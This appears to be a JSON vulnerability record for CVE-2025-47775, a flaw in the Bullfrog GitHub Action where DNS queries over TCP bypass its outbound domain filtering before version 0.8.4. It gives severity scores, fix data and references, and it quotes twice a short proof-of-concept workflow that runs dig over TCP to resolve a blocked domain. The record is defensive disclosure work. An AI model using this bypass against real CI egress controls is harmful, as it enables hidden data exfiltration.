{"id":"CVE-2025-47775","aliases":["EUVD-2025-28122","GHSA-m32f-fjw2-37v3"],"status":"published","title":"Bullfrog's DNS over TCP bypasses domain filtering","description":"Bullfrog is a GithHb Action to block unauthorized outbound traffic in GitHub workflows. Prior to version 0.8.4, using tcp breaks blocking and allows DNS exfiltration. This can result in sandbox bypass. Version 0.8.4 fixes the issue.","severity":{"version":"3.1","score":6.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00494,"percentile":0.42859,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-201"],"published":"2025-05-14T15:18:37Z","modified":"2026-10-28T02:30:52Z","fixes":[{"ecosystem":"GitHub Actions","package":"bullfrogsec/bullfrog","fixed_in":["0.8.4"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"GitHub Actions","package":"bullfrogsec/bullfrog","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.8.4"}]}]},{"source":"osv","ecosystem":"GitHub Actions","package":"bullfrogsec/bullfrog","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.8.4"}]}]}],"products":[{"vendor":"bullfrogsec","product":"bullfrog"}],"references":[{"url":"https://github.com/bullfrogsec/bullfrog/security/advisories/GHSA-m32f-fjw2-37v3","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/bullfrogsec/bullfrog/commit/ae7744ae4b3a6f8ffc2e49f501e30bf1a43d4671","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/bullfrogsec/bullfrog/releases/tag/v0.8.4","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-47775","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-m32f-fjw2-37v3"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/47xxx/CVE-2025-47775.json","tags":["advisory"]},{"url":"https://github.com/bullfrogsec/bullfrog","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-47775","title":"Bullfrog's DNS over TCP bypasses domain filtering","description":"Bullfrog is a GithHb Action to block unauthorized outbound traffic in GitHub workflows. Prior to version 0.8.4, using tcp breaks blocking and allows DNS exfiltration. This can result in sandbox bypass. Version 0.8.4 fixes the issue.","status":"published","published":"2025-05-14T15:18:37.058Z","modified":"2025-05-14T15:42:42.206Z","cvss":[{"version":"3.1","score":6.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-201"],"updated_at":"2026-11-02T14:32:26.320248Z"}],"euvd":[{"id":"EUVD-2025-28122","description":"Bullfrog is a GithHb Action to block unauthorized outbound traffic in GitHub workflows. Prior to version 0.8.4, using tcp breaks blocking and allows DNS exfiltration. This can result in sandbox bypass. Version 0.8.4 fixes the issue.","status":"published","published":"2025-05-14T15:18:37Z","modified":"2025-05-14T15:42:42Z","cvss":[{"version":"3.1","score":6.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T20:32:47.525663Z"}],"ghsa":[{"id":"GHSA-m32f-fjw2-37v3","title":"Bullfrog's DNS over TCP bypasses domain filtering","description":"### Summary\n\nUsing tcp breaks blocking and allows DNS exfiltration. \n\n### PoC\n\n```\nname: test\non:\n  push:\n    branches:\n      - \"*\"\n\njobs:\n  testBullFrog:\n    runs-on: ubuntu-22.04\n    steps:\n      - name: Use google dns\n        run: |\n          sudo resolvectl dns eth0 1.1.1.1\n          resolvectl status\n      - name: Set up bullfrog to block everything\n        uses: bullfrogsec/bullfrog@1472c28724ef13ea0adc54d0a42c2853d42786b1 # v0.8.2\n        with:\n           egress-policy: block\n           allowed-domains: |\n             *.github.com\n      - name: Test connectivity\n        run: |\n          echo testing udp allowed ..\n          dig api.github.com @1.1.1.1 || :\n          echo testing tcp allowed ..\n          dig api.github.com @1.1.1.1 +tcp || :\n\n          echo testing udp not allowed\n          dig api.google.com @1.1.1.1 || :\n          echo testing tcp not allowed\n          dig api.google.com @1.1.1.1 +tcp || :\n```\n\n### Impact\n\nsandbox bypass\n\n![image](https://github.com/user-attachments/assets/fba18a17-2d49-48cd-9aae-713e95b5270d)","status":"published","published":"2025-05-15T17:23:04Z","modified":"2025-05-15T17:23:05Z","cvss":[{"version":"3.1","score":6.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-201"],"updated_at":"2026-11-02T14:38:43.172412Z"}],"nvd":[{"id":"CVE-2025-47775","description":"Bullfrog is a GithHb Action to block unauthorized outbound traffic in GitHub workflows. Prior to version 0.8.4, using tcp breaks blocking and allows DNS exfiltration. This can result in sandbox bypass. Version 0.8.4 fixes the issue.","status":"published","published":"2025-05-14T16:15:28.807Z","modified":"2026-06-17T09:28:40.143Z","cvss":[{"version":"3.1","score":6.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"secondary"},{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high","assessor":"primary"}],"cwes":["CWE-201"],"updated_at":"2026-11-02T14:11:08.321805Z"}],"osv":[{"id":"CVE-2025-47775","title":"Bullfrog's DNS over TCP bypasses domain filtering","description":"Bullfrog is a GithHb Action to block unauthorized outbound traffic in GitHub workflows. Prior to version 0.8.4, using tcp breaks blocking and allows DNS exfiltration. This can result in sandbox bypass. Version 0.8.4 fixes the issue.","status":"published","published":"2025-05-14T15:18:37.058Z","modified":"2026-10-28T02:30:52.99831509Z","cvss":[{"version":"3.1","score":6.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-201"],"updated_at":"2026-11-02T15:44:49.707645Z"},{"id":"GHSA-m32f-fjw2-37v3","title":"Bullfrog's DNS over TCP bypasses domain filtering","description":"### Summary\n\nUsing tcp breaks blocking and allows DNS exfiltration. \n\n### PoC\n\n```\nname: test\non:\n  push:\n    branches:\n      - \"*\"\n\njobs:\n  testBullFrog:\n    runs-on: ubuntu-22.04\n    steps:\n      - name: Use google dns\n        run: |\n          sudo resolvectl dns eth0 1.1.1.1\n          resolvectl status\n      - name: Set up bullfrog to block everything\n        uses: bullfrogsec/bullfrog@1472c28724ef13ea0adc54d0a42c2853d42786b1 # v0.8.2\n        with:\n           egress-policy: block\n           allowed-domains: |\n             *.github.com\n      - name: Test connectivity\n        run: |\n          echo testing udp allowed ..\n          dig api.github.com @1.1.1.1 || :\n          echo testing tcp allowed ..\n          dig api.github.com @1.1.1.1 +tcp || :\n\n          echo testing udp not allowed\n          dig api.google.com @1.1.1.1 || :\n          echo testing tcp not allowed\n          dig api.google.com @1.1.1.1 +tcp || :\n```\n\n### Impact\n\nsandbox bypass\n\n![image](https://github.com/user-attachments/assets/fba18a17-2d49-48cd-9aae-713e95b5270d)","status":"published","published":"2025-05-15T17:23:04Z","modified":"2026-09-10T03:50:57.66767553Z","cvss":[{"version":"3.1","score":6.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-201"],"updated_at":"2026-11-02T15:46:51.10002Z"}]}}